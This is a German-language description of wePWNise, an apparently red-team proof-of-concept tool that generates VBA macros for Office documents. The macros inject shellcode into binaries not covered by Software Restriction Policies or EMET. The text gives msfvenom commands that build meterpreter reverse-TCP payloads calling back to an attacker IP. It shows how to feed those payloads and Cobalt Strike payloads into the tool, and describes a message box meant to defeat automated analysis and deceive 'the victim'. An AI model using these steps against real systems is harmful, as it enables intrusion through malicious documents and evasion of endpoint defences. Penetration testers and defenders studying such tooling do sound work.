
WePWNise generiert architekturunabhängigen VBA-Code, der in Office-Dokumenten oder -Vorlagen verwendet werden kann, und automatisiert die Umgehung von Anwendungssteuerungs- und Exploit-Minderungssoftware.
wePWNise ist ein Proof-of-Concept-Python-Skript, das VBA-Code generiert, der in Office-Makros oder -Vorlagen verwendet werden kann. Es wurde mit Automatisierung und Integration im Hinterkopf entwickelt und zielt auf gesperrte Umgebungsszenarien ab. Das Tool listet Software Restriction Policies (SRPs) und EMET-Minderungen auf und identifiziert dynamisch sichere Binärdateien, in die Payloads injiziert werden können. wePWNise integriert sich in bestehende Exploit-Frameworks (z. B. Metasploit, Cobalt Strike) und akzeptiert auch beliebige benutzerdefinierte Payloads im Rohformat.
Um wePWNise zu verwenden, sehen Sie sich zunächst die unterstützten Optionen an:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
wePWNise erfordert sowohl 32- als auch 64-Bit-Rohpayloads, um den entsprechenden Typ liefern zu können, wenn es auf ein unbekanntes Ziel trifft. Wenn jedoch nur eine x86-Architektur anvisiert wird, muss ein Dummy-64-Bit-Payload bereitgestellt werden, um den fehlenden Code zu ersetzen.
Um bestimmte automatisierte Analysekonfigurationen zu umgehen, wird bei der Ausführung des Codes ein Meldungsfeld geöffnet. Der Text des Meldungsfeldes kann durch Angabe seines Werts im Parameter --msg geändert werden. Um diese Funktion zu deaktivieren, setzen Sie den Parameter --msgbox auf False.
Aufgrund von Leistungsbedingungen, die durch lange SRPs/EMET-Richtlinien entstehen können, liest wePWNise zwei Konfigurationsdateien (binary-paths.txt und directory-paths.txt), die eine Liste von ausführbaren Dateien und Verzeichnissen enthalten, die weniger wahrscheinlich überwacht werden, um diese zuerst zu überprüfen. Durch Bearbeiten des Inhalts dieser Dateien kann der Benutzer stattdessen seine eigenen Auswahlen definieren. Wenn die Dateien leer sind, beginnt wePWNise direkt mit dem Lesen der SRPs/EMET-Richtlinien, wie sie in der Registry definiert wären, und trifft seine Injektionsauswahl ausschließlich auf der Grundlage der abgerufenen Informationen.
Die folgenden Abschnitte beschreiben einige grundlegende Anwendungsbeispiele von wePWNise.
Erstellen Sie zunächst die Payloads für x86- und x64-Architekturen im Rohformat und stellen Sie sicher, dass die Metasploit-Listener entsprechend konfiguriert sind.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
Weisen Sie dann wePWNise auf die generierten Payloads und leiten Sie die Ausgabe in msf_wepwn.txt um.
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Um einen Roh-Payload in Cobalt Strike zu generieren, navigieren Sie zu folgendem Menü und wählen Sie im Dropdown-Menü 'Output' das Format 'Raw'. Wiederholen Sie den Vorgang und aktivieren Sie das Kontrollkästchen x64, um einen 64-Bit-Payload zu erzeugen.
Attacks > Packages > Payload Generator
Geben Sie die generierten Payloads in wePWNise ein, um den VBA-Code zu generieren.
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
In bestimmten Fällen kann es vorkommen, dass nur ein x86-Payload verfügbar ist. Da wePWNise sowohl einen 32-Bit- als auch einen 64-Bit-Payload erwartet, erstellen Sie zur Deaktivierung der 64-Bit-Injektion eine Dummy-64-Bit-Datei und setzen Sie den Parameter --inject64 auf False.
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
Erstellen Sie analog dazu, um nur 64-Bit-Payloads zu generieren, eine Dummy-x86-Datei und übergeben Sie sie im Befehlszeilenparameter -i86 von wePWNise.
wePWNise wird unter einer 3-Klausel-BSD-Lizenz veröffentlicht und von MWR InfoSecurity gewartet.
Dieses Tool wurde ursprünglich von Vincent Yiu (@vysecurity) entwickelt.